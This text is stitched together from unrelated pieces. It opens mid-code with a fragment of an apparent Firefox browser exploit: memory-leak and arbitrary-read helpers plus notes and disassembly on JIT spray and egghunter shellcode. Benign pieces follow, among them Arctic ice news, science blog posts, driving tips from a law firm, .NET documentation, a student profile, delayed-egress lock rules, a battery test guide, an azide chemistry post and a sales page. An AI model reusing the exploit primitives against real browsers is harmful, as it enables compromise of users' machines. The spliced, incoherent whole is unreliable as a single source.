HelperDword[1] = LeakedHigh;
return HelperDbl[0];
ExplicitDblArray = new Float64Array(1); // Used for the strong read
ExplicitDblArrayDataPtr = null; // Save the pointer to the data pointer so we don't have to recalculate it each read
function ExplicitLeakDbl(TargetAddress) {
WeakWriteDbl(ExplicitDblArrayDataPtr, TargetAddress);
return ExplicitDblArray[0];
// JIT spray/egghunter shellcode logic
JIT spray in modern Firefox 64-bit on Windows seems to behave very differently
when a special threshold of 100 double float constants are planted into a single
function and JIT sprayed. When more than 100 are implanted, the JIT code pointer
for the JIT sprayed function will look as follows:
00000087EB6F5280 | E9 23000000 | jmp 87EB6F52A8 <- JIT code pointer for JIT sprayed function points here
00000087EB6F5285 | 48:B9 00D0F2F8F1000000 | mov rcx,F1F8F2D000
00000087EB6F528F | 48:8B89 60010000 | mov rcx,qword ptr ds:[rcx+160]
00000087EB6F5296 | 48:89A1 D0000000 | mov qword ptr ds:[rcx+D0],rsp
00000087EB6F529D | 48:C781 D8000000 _PHONE_ | mov qword ptr ds:[rcx+D8],0
00000087EB6F52A8 | 55 | push rbp
00000087EB6F52A9 | 48:8BEC | mov rbp,rsp
00000087EB6F52AC | 48:83EC 48 | sub rsp,48
00000087EB6F52B0 | C745 E8 00000000 | mov dword ptr ss:[rbp-18],0
00000087EB6F5337 | 48:BB 4141414100000000 | mov rbx,41414141 <- Note the first double float being loaded into RBX
00000087EB6F5341 | 53 | push rbx
00000087EB6F5342 | 49:BB D810EAFCF1000000 | mov r11,F1FCEA10D8
00000087EB6F534C | 49:8B3B | mov rdi,qword ptr ds:[r11]
00000087EB6F534F | FF17 | call qword ptr ds:[rdi]
00000087EB6F5351 | 48:83C4 08 | add rsp,8
00000087EB6F5355 | 48:B9 40807975083D0000 | mov rcx,3D0875798040
00000087EB6F535F | 49:BB E810EAFCF1000000 | mov r11,F1FCEA10E8
00000087EB6F5369 | 49:8B3B | mov rdi,qword ptr ds:[r11]
00000087EB6F536C | FF17 | call qword ptr ds:[rdi]
00000087EB6F536E | 48:BB 9090554889E54883 | mov rbx,8348E58948559090
00000087EB6F5378 | 53 | push rbx
00000087EB6F5379 | 49:BB F


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Arctic Has Lost Enough Ice to Cover Texas
Posted on Apr 6, 2009
Although this wasn't the worst winter on record for retention of Arctic sea ice, a report from NASA and the National Snow and Ice Data Center says that the region is now missing a Texas-sized chunk of the stuff that keeps polar bears alive and cities above sea level. More alarming, the ice that is there is younger, thinner and more fragile than in years past.
This winter's maximum Arctic sea ice extent was 5.85 million square miles (15,150,000 square kilometers)—about 278,000 square miles (720,000 square kilometers) less than the Arctic average between 1979 and 2000.
"That's a loss about the size of the state of Texas," said Walter Meier of the National Snow and Ice Data Center (NSIDC) in Boulder, Colorado.
"We used to have a winter ice maximum about twice the size of the lower 48 United States," Meier added.


Social Dimension
Collective Nouns for Facts
With my book about facts and knowledge coming out soon, it might be worth reviewing possible words for collective nouns for facts.
We all know about collective nouns – those words for groups of things of a single kind. From a pride of lions and a gaggle of geese, to a fixie of hipsters, these terms conjure up wonderful imagery and fill gaps in our lexicon. So, let's say you have a bunch of facts; what do you call this? While it's unclear what to say for a collection of substantive bits of information (though some use the term miscellany of facts), for small and relatively unimportant facts, the choice is clear: a pursuit of trivia.
Top image:yuheitomi/Flickr/CC
Finding the Sources of Epidemics
Network science started with trying to understand the structure of large-scale complex networks, from social connections to the makeup of protein interactions. It then proceeded to explore the behavior of processes that occur on top of networks. And one of the most important ones is diffusion: how something, such as information or disease, propagates over a network.
But what about the reverse problem? Given that something has diffused across a network, can we infer the source of this epidemic's spread?
In a new paper in Physics Review Letters (general summary here), a team of scientists led by Pedro Pinto attempted to do this. And unlike other methods, they explore how observing only a small fraction of the nodes of a network can be used to identify the source of the diffusion process.
It all comes down to a process of maximum likelihood estimation, where the most likely values of the parameters of a statistical model can be calculated. In this case, the parameters are related to the source of the diffusion given the possible paths that the disease or bit of information could have taken across the network.
It seems to work. They compare their method to an actual cholera outbreak in South Africa in 2000 and found good results, which could be determined using only 20 percent of the nodes in the network, where the nodes represent different communities in the region. In their supplemental case studies, they explore how the leader of a terrorist organization can be identified, and even show how this methodology could be used in finding contamination sources in a subway system. They found that they could determine the source of a contamination to within a single subway stop by monitoring the behavior fewer than 20 percent of the stations:
Of course, it's not always easy to implement this kind of detection. There are certain assumptions about how the epidemic diffuses and how the detection works, as well as the assumption that there is even only source, which don't necessarily hold in every diffusion situation. Nonetheless, exploring the source of diffusion is an exciting problem and one that demands further attention for everything from gossip to disease.
Top image:Enzo Figueres/Flickr/CC
Metabolic Scaling of Social Insects
There is a clear order to how animals use energy. Specifically, there is a clear relationship between the metabolic rate of organisms and their masses. Known as Kleiber's Law, this has been known for nearly a hundred years. Specifically, metabolic rates scale sublinearly with the mass of different animals, which means that as species get bigger, they use less energy per pound:
The theory and empirical work on this subject have shown that there are economies of scale related to energy use such that cells in larger, more complex animals require less energy per capita. For eusocial colonies, it has long been posited that these "superorganisms" experience similar relationships with colony size, perhaps owing to shared constraints on the delivery of energy and materials (e.g., branching distribution networks, space-filling surface area to volume constraints). But empirical evidence for these relationships is scarce. This hypothesis deserves further attention because, if unitary organisms and eusocial colonies show the same size-dependent allometries with respect to energy use, this may suggest that selection acts on colonies much as it acts on individuals.
So they tested this, finding somewhat mixed results. Metabolic rate (based on oxygen consumption) seems to scale according to a 3/4 power with mass and hence is sublinear, but it turns out that it is indistinguishable statistically from scaling linearly. However, since the results are fairly consistent across species, it is likely that there is sublinear metabolic scaling in social insect colonies.
And this is bolstered by the fact that colonies grow just like individual organisms. As seen below, just as animals start small and grow larger according to a certain shape, so do insect colonies:
This is certainly gratifying for anyone who has read Gödel, Escher, Bach and remembered its sentient ant colonies. Now just be careful with that magnifying glass.
Top image: Samantha Henneke/Flickr/CC
The Return to Downtowns versus Jewish Suburban Infrastructure
In recent years, there has been a growth in the idea of the importance and value of downtowns and mixed-use walkable neighborhoods. But at least one population has some difficulty moving back to urban centers: religious Jews. From an article of mine in The Atlantic Cities:
Despite all this renewed interest in downtowns today, many Orthodox communities are stuck in suburbia, and it comes down to one major factor: the "eruv."
I discuss the importance of walkable Jewish neighborhoods, embodied in the idea of the eruv (check out Wyatt Cenac's discussion of the eruv as well). But in the end, it comes down to the following factor:
As Yoni Appelbaum noted: "The broader lesson here is that the infrastructure of community is difficult to relocate, making families less mobile."
Read the rest of my piece here.
David Shankbone/Wikimedia Commons/CC
Urban Populations of the Summer Olympics
While the Winter Olympics has often been located in places not known for their urban density and huge populations—witness Lake Placid's two times hosting the Winter Olympics—the Summer Olympics has in general gone to large metropolitan areas.
But what have the populations of these cities been when they hosted the Olympics, and how has this varied over time? Using a dataset of urban populations over time, along with some interpolation, I was able to examine how the host city populations has varied over time:
And there actually seems to be a somewhat cyclical nature to these populations. It often seems that the International Olympic Committee seeks to distribute the host city geographically (although hardly completely evenly), which could also entail a cyclical pattern to the population of the host city, as populations are not distributed smoothly. But of course, a small cyclical pattern does not make a long-term trend.
While I have not done a similar analysis for the Winter Olympics (the populations will be far lower), it would be intriguing to see if any similar cyclical patterns occur.
Top image: Paul Wilkinson/Flickr/CC


text:
In the state of Florida, we're no stranger to high winds. However, many people don't realize that, in addition to the damage that they can cause to homes and personal property, high winds can also cause devastating auto accidents. As a driver, there are certain precautions you can take when operating your car, truck, or other motor vehicle in high winds to minimize the risk of such an accident and help protect your safety and the safety of others.
If you have been involved in an auto accident involving poor weather conditions, you may be entitled to compensation for losses and expenses related to any injuries you sustained. The personal injury attorneys of Chanfrau & Chanfrau have extensive experience and a history of success in handling cases involving auto accidents and high winds in the Holly Hill, FL region, and they would be pleased to evaluate your case and advise you of your legal rights and options.
Please contact our personal injury law firm today to arrange for an evaluation of your auto accident case. In the meanwhile, feel free to read the following tips to help you avoid auto accidents caused by high winds in the future.
Helpful Tips to Avoid Auto Accidents Caused by High Winds
By following these tips, you can minimize the risk of serious auto accidents caused by high winds:
- Maintain a safe driving speed: It is more difficult to keep control of your vehicle at higher speeds even when the weather is perfect; however, when the winds are high, speeding dramatically increases your risk of losing control. Keep yourself safe by slowing down during high winds.
- Stay away from large vehicles: If you drive a passenger vehicle, steer clear of large commercial trucks, buses, and other larger vehicles on the road. These taller, less aerodynamic vehicles tend to be more difficult to maneuver in high winds.
- Be on the lookout for flying debris: It isn't just the wind itself you have to be mindful of during high winds. Watch out for flying debris and remember that, the faster you are driving, the more dangerous the impact with such debris will be.
- Avoid downed power lines: Never assume that a downed power line isn't active. A high-voltage wire could still be alive and cause terrible injuries.
- Watch out for slippery conditions: When wind is accompanied by rain, snow, sleet, or hail, the roads become much more hazardous to drive. Hydroplaning is dangerous enough; when it is combined with a strong burst of wind, the results can be catastrophic.
- Keep a fully charged cell phone on hand: Make sure that if you must travel in high-wind conditions, you are able to communicate in the event of an emergency. Keep a fully charged cell phone on hand at all times.
Arrange for an Evaluation of Your Auto Accident Case
To arrange for an evaluation of your auto accident case, please contact Chanfrau & Chanfrau today.


text:
See Also: Nullable Members
- Documentation for this section has not yet been entered.
The Nullable value type represents a value of a given type T or an indication that the instance contains no value. Such a nullable type is useful in a variety of situations, such as in denoting nullable columns in a database table or optional attributes in an XML element. The runtime transforms Nullableinstances without values into true nulls when performing a box operation; instances with values are transformed into boxed T's containing the Nullable's Value.
An instance of Nullable has two properties, Nullable.HasValue and Nullable.Value. Nullable.HasValue is used to determine whether the current instance currently has a value. It returns true or false, and never throws an exception. Nullable.Value returns the current value of the instance, provided it has one (i.e., Nullable.HasValue is true); otherwise, it throws an exception.
In addition to the above properties, there is a pair of methods, both overloads of Nullable.GetValueOrDefault. The version taking no arguments returns the instance's current value, if it has one; otherwise, it returns the default value of type T. The version taking an argument of type T returns the instance's current value, if it has one; otherwise, it returns the default value argument passed to it.
Applying Nullable.HasValue to an instance that has the default initial value, causes false to be returned.


Meet Jack Bivins
Jack Bivins is 13 years old and lives in New Hanover County, NC. Originally born in Davis California, Jack's family moved to North Carolina when he was 4 years old. Jack attended elementary school at New Horizons Elementary and now attends Murray Middle School. Outside of school Jack loves to surf and hang out with friends. Jack also volunteers at the North Carolina Aquarium at Fort Fisher. As a student in grades 3-5 Jack participated in science and engineering fairs and in grade 6 he participated in Science Olympiad at Murray Middle.
Jack became familiar with science and engineering fairs at New Horizons Elementary where the fairs were something common in the school. When considering what types of projects he would be interested in completing Jack consistently chose animal related research, specifically focused on conservation. While the adults around him let Jack know that research on animals requires additional safety protocols and review, he felt that he would do his best work if he followed his passion. Understanding that working with animals would make the pathway harder, he determined that it would be worth it in the end. Jack's passion for this work paid off, leading him to the state level science and engineering fair each year that he completed research related to animal conservation. Reflecting on his experience at New Horizons Elementary, Jack wants to "give a shot out" to the science fair coordinator, Christina Satterfield. While the school overall was very supportive of the science fairs, Ms. Christina worked tirelessly to help him get his animal projects approved. He feels that she went above and beyond in her efforts to support and encourage him and the other students through their participation in the science fairs.
Jack credits his science and engineering fair experiences with helping him to connect his interest in animal science to work in conservation. Additionally, he feels that the fairs improved his public speaking skills and helped him to understand how to take and apply constructive criticism to improve his research. He noted, "It was really cool to get to speak to professional scientists, I knew that their input would help me to improve my projects. In 3rd grade I was really scared of the judging, but it was great to get input from people that do the stuff that you want to do."
He also remembers that the fairs were filled with different people who did a lot of different things. This helped him to see the possibilities and to also nail down his passion for conservation. Having to follow the veterinary and safety forms required to do the research and compete in the fairs helped him to understand what a researcher would have to do to complete a larger scale study.
Jack recalls that the varying levels of fairs were each a unique experience. He remembers being really nervous at his first school level fair saying, "it was fun, but there was a lot of pressure". As he moved through the regional level, he felt that the judging really helped him. Finally reaching the state fair he again felt the pressure, but in retrospect thinks that much of this was in his own head. He feels that he learned from each experience and that this helped it to feel easier to design his experiments and present his research each year that he competed. He also remembers that at each fair he got to meet a variety of people doing a lot of different work.
Jack competed in science and engineering fairs three years in a row, starting in third grade with a project that focused on the sense of smell in snakes. The results of this research did not support his hypothesis, which is common in scientific experiments and considered an important result. Based on feedback that he received from judges at the regional competition that year, Jack reflects back on this first project and believes that he had too many variables. He noted that knowing what he knows now, he would refine the experiment if he were to revisit this work. During this 3rd grade year Jack was awarded the Young Naturalist Award by the North Carolina Museum of Natural Sciences. This was very cool for him because he loves the Museum. The Museum's Naturalist's Center's coordinator reached out to Jack's mother about the award. Jack's mom shared how much he loved the Museum and they were invited to stop by the Center to meet the coordinator. During the visit Jack was also introduced to the Naturalist's Center's curator. The curator took time to talk to Jack about the path he himself had taken in school, as well as research he worked on, and what led him to the Museum. He also gave Jack suggestions on how to prepare for a career in environmental science/conservation.
His fourth grade year his project was called "Drab or Fab, Where do the Keets Eat?" The project looked at whether captive bred lorikeets were attracted to bright or drab colors when eating. His design included feeding the lorikeets in two different color bowls and recording whether their behavior indicated a preference based on color. His data showed that 90% of the time the lorikeets ate from the bright colored bowl first. He feels that this information about their habits can help conservation groups to better understand how to support lorikeets. In order to complete this project Jack got to work closely with and meet many different members of the staff at the NC Aquarium at Fort Fisher where his actual experiment took place. While he had already been volunteering at the Aquarium, he was able to meet a diverse group of staff that he had not met through his volunteering (curator, animal husbandry/care staff, executive director).
The project he completed in 5th grade, "Turtle's Got a Brand New Bag", is the one he desires to revisit and continue to research. The project sought to develop and test materials that could be used to replace single use plastic bags to help protect sea turtles and other marine life. He used 2 different types of materials, one with a corn starch base and one with a gelatin base. He tested these materials for strength, flexibility, digestibility, and cost, performing the same tests on a single use plastic bag. His experiment involved immersing the materials in a simulation of sea turtles' digestive material (a mix of diluted hydrochloric acid & enzymes). The digestion test duration was almost a week, similar to the typical digestion time for the sea turtle before the undigested material would become harmful to the animal. Both of his materials passed his testing. The single use plastic bag was not digested, leading Jack to conclude that the proposed replacement materials may be a viable option for replacing single use plastic bags and are worthy of more research. While completing this science fair project, Jack got to meet and interview a Coastal Wildlife Diversity Biologist with the NC Wildlife Resources Commission who has a focused expertise on sea turtles. Not only did this researcher help to support Jack's research for the fair project, she also invited him to do a sea turtle necropsy with her to learn more about sea turtles and the scientific process of logging sea turtle information.
Jack won awards at the state level fairs each year that he participated, winning the Young Naturalist Award his 3rd grade year, the Exemplary Project Award his 4th grade year, and the Grand Award - Dewey and Susan Ryals Memorial Award for the Elementary Division his 5th grade year.
Jack is currently in 7th grade at Murray Middle School. While most extracurricular activities have been suspended due to the COVID19 shutdown, Jack is participating in the Murray Middle School Theatre's play, "10 Ways to Survive Life in Quarantine". During the shutdown, Jack continues to learn about animals and conservation by attending online offerings through various conservation groups. Jack continues to volunteer at the Fort Fisher Aquarium in NC. Last year he was part of a mini-documentary with the team at the Aquarium that talked about conservation. Following this experience he was invited to speak at an AZA (Association of Zoos & Aquariums) conference in Wilmington, NC.
In the future Jack wants to work at a zoo where he feels he would have the resources that would allow him to work in conservation and to travel and work with other conservation groups. He would focus on the impact of humans on animals and changes that could support conservation. He is considering a degree in zoology with a minor in psychology, in the hopes of following this pathway to continue to work with animals.
We asked Jack to provide 1 piece of advice for a young person who is interested in Science or Engineering. His advice was,
"Do what you love, even if it may be a little bit harder than what people might think is a classic project. I wanted to do the animal projects and I feel like I did better because it is what I love, so do what you love."


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Vladivostok is the administrative center of the Primorsky Krai in the Russian Far East.
The naval post, which later became Vladivistok, was founded on the Muravyov-Amursky Peninsula in the year of 1860. This outpost was transformed into a large naval port when the strategic location had increased in importance. In 1871 the home port of the Siberian Military Flotilla moved here. Coastal fortifications were constructed to protect the port from naval attack. The port became a powerful fortress.
The task of strengthening and modernization of the fortress, was carried out over more than a hundred years. As a result there were built more than 1300 fortifications.
A naval school was opened there in order to train local navigators and ship's technical operators.
Vladivostok hasn't lost its military and strategic importance; it is headquarters and home port of the Russian Pacific Fleet.
The "pearl of the Far East" is a significant port, industrial and scientific centre of the Russian Far East.
Vladivostok - Interesting Places


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Delayed egress systems are door locking systems which prevent a door from opening immediately when egress is attempted in a non-emergency situation.
One of the golden rules is of course that a lock is never supposed to impede egress, but there are specific situations where it is allowed with special approval from the Local Authority Having Jurisdiction (LAHJ), as long as the application is in accordance with the relevant building code.
Delayed egress has many important uses. For healthcare facilities, it can alert staff to a patient attempting to leave the premises or someone attempting to steal drugs.
In commercial applications, doors may be equipped with delayed egress to discourage shoplifting. At airports, doors leading to hazardous and flight line areas will be equipped with delayed egress.
In schools and childcare, delayed egress systems will deter abductions and delinquency.
In security environments where it is desired that a credential be used for passage in both directions, a delayed egress lock will allow locking of the door, encouraging the use of a credential, without potentially trapping individuals if there is a legitimate reason for them to exit.
It is imperative that the installer confirm the acceptability of a delayed egress system with the LAHJ prior to installation. In some geographical locations, and in some types of occupancies, more than one authority may have jurisdiction, for example a Fire Marshal as well as a Building Inspector. It is the responsibility of the installer to determine the hierarchy of LAHJs for a particular situation, and to take the necessary steps to assure compliance.
Delayed Egress systems are typically configured as:
An integrated Delayed Egress electromagnetic lock in which all logic and locking components are built into a single device
A Component System where locking, logic, annunciation and control devices are separate
A Delayed Egress Exit Device
Depending on the design, the delayed egress may be triggered by door movement or an external triggering device.
Building Codes vary with respect to requirements for Delayed Egress locking arrangements. However they all have a similar set of core safety requirements:
1. The delayed egress lock must be approved or listed and shall be permitted for installation on doors serving occupancy levels as specified per prevailing code (refer to your prevailing code and consult your LAHJ for complete details).
2. The doors must unlock upon activation of an automatic sprinkler system or automatic fire detection system.
3. The door(s) must unlock upon loss of power controlling the delayed egress locking device.
4. The delayed egress locks shall be unlocked by a signal from the fire command center.
Important Note: Some cities may also require a remotely located manual reset station attended at all times by trained personnel. 5. Applying no more than 15 lbs of pressure for a maximum of 1 second (1 second nuisance delay) will start an irreversible process to unlock the door in 15 seconds. The LAHJ may permit up to 30 seconds.
6. An alarm must sound at the opening upon initiation of the release process.
7. A sign must be applied to the door stating, "PUSH UNTIL ALARM SOUNDS. DOOR CAN BE OPENED IN 15 SECONDS.". Letters must be one inch high x 1/8" stroke. The sign shall indicate 30 seconds where applicable.
8. Emergency lighting is required as prescribed per code.
9. The lock must be manually reset at the door.
10. A building occupant may not be required to pass through more than one delayed egress equipped door.
There are differences in the Building Codes as to what types of occupancy a delayed egress system may be installed.
The United State Fire Administration advises: The International Building Code® prohibits delayed egress locks in Group A, E, and H occupancies, while NFPA® 5000, Building Construction and Safety Code allows them in all occupancies except detention and correctional facilities.
Maglocks are relatively inexpensive, work many door and gate types, have no moving parts and are reliable and cost effective.
A healthcare facility was concerned about meeting code requirements but also needed to prevent patients from wandering off in the event of an emergency


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An exact transformation that reduces the AR(p) process into white noise is well known in statistics, see Fuller (1976). However, practitioners still use and econometric textbooks still recommend the Cochrane-Orcutt procedure for p>2, see Greene (1990). This paper derives an alternative exact transformation for the AR(p) process which is computationally simple. Based on this transformation, a GLS estimator is proposed, requiring only least squares regressions and recursive computations. This is illustrated for the AR(3) case.
- Autocorrelation Transformation
- Autoregressive Process
- Serial Correlation
ASJC Scopus subject areas
- Statistics and Probability
- Statistics, Probability and Uncertainty


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The term parasitic battery draw refers to the electrical devices that continue to draw
current from the battery when the ignition key is in the OFF position. As a rule of thumb
normal parasitic draws are below 50 milliamps, however it is always best to refer to the
original vehicle manufacturers specifications for recommended limits. Before a parasitic
draw test can be performed the batteries state of charge must be greater than 75%.
Before testing a battery it is very important to follow some simple safety rules.
Always wear eye protection and keep open flames away from the battery. If using a
battery charger, always confirm that the charger is off before connecting or
disconnecting the charger. Batteries produce hydrogen gas which is extremely
flammable; do not smoke while servicing a battery. Batteries should only be charged
in well ventilated areas. The electrolyte in the battery contains sulfuric acid, latex
gloves are highly recommended.
Testing For Parasitic Draw
To perform the parasitic draw test you will need a digital amp meter capable of
reading milliamps and a minimum of 10 amps. Be certain that your meter has a fuse
intended to protect the meter for the rare occurrence of an abnormally high amp
1. Insure that all accessories are off and the ignition switch is in the OFF position.
2. Remove the negative battery cable from the battery.
3. Set amp meter switch to the highest rating (10 amps or higher).
4. Connect amp meter as illustrated in figure 1.
5. The reading may start as high as 6 amps, this is normal. When the battery cable was
disconnected the vehicles electronics lost power, these devices will draw a higher
current when they are reconnected. The current will drop as the numerous electronic
devises "awaken". On some late model vehicles this may take 20 minutes or longer.
6. As the reading decreases and stabilizes adjust the amp meter down to read in the
milliamp range. This reading will be the vehic les parasitic draw.
High Parasitic Reading
Should you determine that the parasitic draw exceeds the vehicles limit it will be
necessary to determine the circuit that is creating the draw. This is best accomplished
by using the process of elimination. Check lamp circuits (glove box, courtesy, trunk etc.)
for bulbs that are illuminated when they should be off. To check the trunk lamp it may
be necessary to get in the trunk. Make certain that you have a helper. And more
importantly make certain that your helper is your friend!
If a visual inspection fails, isolate circuits by removing fuses one at a time while noting
amp reading. Once you have identified the circuit, refer to the service manual or wiring
diagram to determine which devises are on the circuit. Disconnect the devices to
determine which is faulty. It may also be necessary to disconnect relays or non fused
circuits. It is simply a process of elimination at this point.


text:
To maintain safety during downstream processing, a high pH and/or near complete reaction conversion must be achieved. Since the process required an acidification for intermediate stabilization (approximate pH 3.5), our control strategy relies on achieveing high reaction conversions (low residual free azide.) Therefore, the next step in the quantitative analysis becames the determination of the accetable residual free azide level after the palladium-catalyzed desymmetrization reaction. To accomplish this, we first interpreted data from the PUREX process, a nuclear fuel reprocessing method which forms HN3 as a byproduct. Using this data, we established a gas phase limit of 0.625 vol % which is based on the enriched condensate LEL in equilibrium wit the solution and gas phases.As a relative youngster, I'm not really aware of the PUREX process, so I thought I would take a look at it. It's pretty remarkable stuff, being able to extract out uranium and plutonium from spent nuclear fuel with tributylphosphate. Here's an excerpt from a random ORNL paper from 1977 on using hydrazine (the source of the hydrazoic acid) in the PUREX process:
In order to separate uranium and plutonium from each other in PUREX processing of nuclear reactor fuelds, advantage is taken of the fact that uranium (VI) is readily extracted from nitric acid solutions into the tributylphosphate-diluent organic phase while plutonium (III) is relatively inextractable. The uranium and plutonium are usually coextracted from the nitric acid fuel dissolver solution as uranium (VI) and plutonium (IV) and are then differentially stripped. The plutonium is reduced to plutonium (III) which strips into a dilute nitric acid solution leaving the uranium (VI) in the organic phase to be subsequently stripped with water. In some flowsheets, the plutonium is reduced prior to the uranium extraction in order to achieve the desired separation.
Plutonium (III) is not stable in nitric acid and, without the addition of a holding reductant, rapid and complete reoxidation to plutonium (IV) may occur. This can lead to reextraction of the plutonium during reductive stripping and plutonium recycled within the countercurrent contacting apparatus... Holding reductants are routinely added to solutions of plutonium (III) to destroy the nitrous acid which is continously formed by radiolytic decomposition of nitric acid. Very few reagents have proven useful as holding reductants...
Hydrazine rapidly reactions with nitrous acid, and the favorable kinetics of this reaction make hydrazine a practical holding reductant. With excess hydrazine present, the condition prevailing when hydrazine is used as a holding reductant, the fast reaction
N2H4 + HNO2 -> HN3 + 2H2O
There's something amusing about a situation in which rocket fuel gets added to nuclear waste to generate a "relatively stable" explosive waste product. My (figurative) hat's off to Kelmers and Browning for an education in nuclear fuel reprocessing, and to González-Bobes et al. for leading me there.occurs which stoichiometrically yields hydrazoic acid, HN3. Hydrazoic acid is relatively stable in nitric acid solutions.
 González-Bobes, F.; Kopp, N.; Li, L.; Deerberg, J.; Sharma, P.; Leung, S.; Davies, M.; Bush, J.; Hamm, J.; Hrytsak. M. "Scale-up of Azide Chemistry: A Case Study." Org. Process. Res. Dev. ASAP. DOI: 10.1021/op3002646


text:
Prehistory (Early Humankind)
WideHorizon Education Resources
The Lascaux Caves: We start with a story retelling the discovery of the Lascaux Caves in France. The narrative tells of a group of young boys and their dog who, on an expedition in the local woods, discover the caves with the wonderful prehistoric paintings.
The value of stories: The paintings of prehistoric people are introduced in the context of a narrative. This helps students to enter into the wonder and excitement of such a discovery. Students are led to appreciate the splendor of the prehistoric paintings. They also learn how the paintings have increased our knowledge of the prehistoric world.
Readability level: The readability level of the story in the WER Unit allows students to work with ease when using the narrative to work on the assignments. The assignments develop historical literacy, language skills, and critical thinking skills.
Outline Web: Why did Cro-Magnons create the cave paintings?Have your students organize the answers to this question into a graphic overview. This and many more activities for students can be found in Module 2, Lesson 2 of the WER Unit Prehistory.
Have your students:
a) use their imagination and prior knowledge to answer the question,"Why were the paintings created?";
b) organize their suggested reasons into categories such as artistic, educational, social, and economic;
c) examine the story The Lascaux Caves for theme, setting, characters and plot;
d) write a similar story about the discovery of the caves at Altamira in Spain.
Sources: The WER story The Lascaux Caves is is based upon two articles published in The Illustrated London News. The first article, Lascaux Discovered (author unknown), was published on February 28, 1942, and the second, The Wall Paintings of the Lascaux Caves by Alan Brodrick, was published on April 12, 1947.
WideHorizon Education Resources-Prehistory/Early Humankind
Module 1: Understanding the Past
Module 2: Cro-Magnons and Neolithic Farmers
Example of content from Module 2 Lesson 2 Students are introduced to the cave paintings of Cro-Magnons through a story describing the discovery of the paintings in the Lascaux caves. The story is linked to a Guided Reading assignment that develops literacy and critical thinking skills, and encourages students to write creatively. Stories in all the Modules have controlled readability levels and Guided Reading assignments are linked to the stories.
Language Arts: Students study the theme, setting, characters and plot of the story. They also pay particular attention to the dialogue and compare direct and indirect quotation.
Creative Writing: Students create a similar story based on given facts about the discovery of cave paintings at Altamira.
Critical Thinking Skills: Students are given an outline web and are asked to provide possible explanations of why Cro-Magnons painted cave walls.
Prehistory/Early Humankind (2 Modules) includes 5 stories with readability levels, 3 guided reading assignments, 1 readers theatre, 13 activity sheets, 2 assignments targeted for monitoring and assessment, 1 map activity, 13 illustrated information sheets, 10 blackline masters, 2 review exercises, 2 colored reproductions, 10 teacher lesson guideline sheets, 2 monitoring and assessment guideline sheets.
WideHorizon Education Resources (WER) material is in two formats. Firstly as a Starter Pack. Secondly as a Classroom Pack. Both Packs include a Teacher Guide containing all the material from the MLA Teaching Packs, with occasional refinements for the USA market. The ONLY difference between a Starter Pack and a Classroom Pack is that the Starter Pack contains just one Student Reference Book (SRB) while a Classroom Pack contains 35 (thirty-five) SRBs. The Starter Pack is available as a pdf (no postage or processing fee). A physical copy (postage/processing fees apply) can be provided at additional cost. Classroom Packs are ONLY available as physical copies and only for USA teachers. All physical copies are in USA and cost of sending abroad is prohibitive but please contact MLA if you have any queries (contact details at bottom of page).
WideHorizon Education Resources (WER) Teaching Packs are designed to appeal to the heart, head and hands. Original material is the Mollet Learning Academy (MLA) Teaching Packs (written initially for New Zealand teachers). On request from USA teachers, monitoring and assessment procedures were added and renamed WER Teaching Packs to distinguish them from MLA Teaching Packs.
Early Humankind, Ancient Israelites, Ancient India, Ancient China – USA $59.95
Mesopotamia, Ancient Egypt, Ancient Kush, Ancient Greece, Ancient Rome USA $79.95
Early Humankind, Ancient Israelites, Ancient India, Ancient China – USA $199.95
Mesopotamia, Ancient Egypt, Ancient Kush, Ancient Greece, Ancient Rome
Set of Nine Starter Packs – USA $599.95
Set of Nine Classroom Packs – USA $1999.95
Set of 10 non-consumable SRBs – Prehistory, Israelites, India, China – USA $59.95
Set of 10 non-consumable SRBs – Egypt, Kush, Greece, Rome – USA $79.95
Set of 10 non-consumable SRBs – Mesopotamia – USA $89.95
7% S&H applies unless other arrangements made – thanks.
Dr. David Mollet _EMAIL_
NZ: h 09-_PHONE_ m _PHONE_, 41 Hilling St, Titirangi, Auckland 0604
USA: _PHONE_, 6656 Reservoir Lane, San Diego, CA 92115 (Skype waldorfedu)
1) The material was initially written for New Zealand teachers but on request from USA teachers, monitoring and assessment procedures were added. To view this material please visit _URL_
WideHorizon Education Resources (WER) _URL_ Waldorf Education Resources (WER) _URL_
2) MLA is also involved in researching on an international basis, what works and what doesn't work. Most of the research results can be seen at _URL_ while a draft of a book The Task for New Zealand Education is at _URL_
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If you wish to subscribe to MLA Newsletter please do so at _URL_ and take care, David
1. The MLA approach to education believes in developing the creative and imaginative side of the student in harmony with the intellectual and cognitive. To achieve this, MLA Teaching Packs make stories and drama an integral part of the lessons and involve students through storytelling, art, simulations, drama, craft, discussion and creation of a personal record.
3. Click here if you wish to access free lesson on papyrus (enter Papyrus in Subject line – any information you supply is treated in complete confidence).
4. Click here for Mollet Learning Academy (MLA) Teaching Packs.
5. Click here to find out about Kush. Kush is Africa's oldest interior civilization. Do your students, particularly African-American, have the opportunity to study this part of their cultural heritage?
6. Click here for articles and research reports.
7. Click here to check out evaluations of pilots carried out in schools in San Diego and to read what teachers think about our lessons/newsletters.
"These resource packs contain unbound, ready-to-use reproducible masters, that are varied, simple, and appealing to students. The interactive strategies suggested are suitable for independent, small-group, and whole-class assignments."
(Grade 6 Course Models – California State Department of Education)
8. Click here to check out evaluation of WER Unit Kush by USA leading authority.
9. Information on workshops/presentations for introducing the MLA approach into public schools available at _URL_
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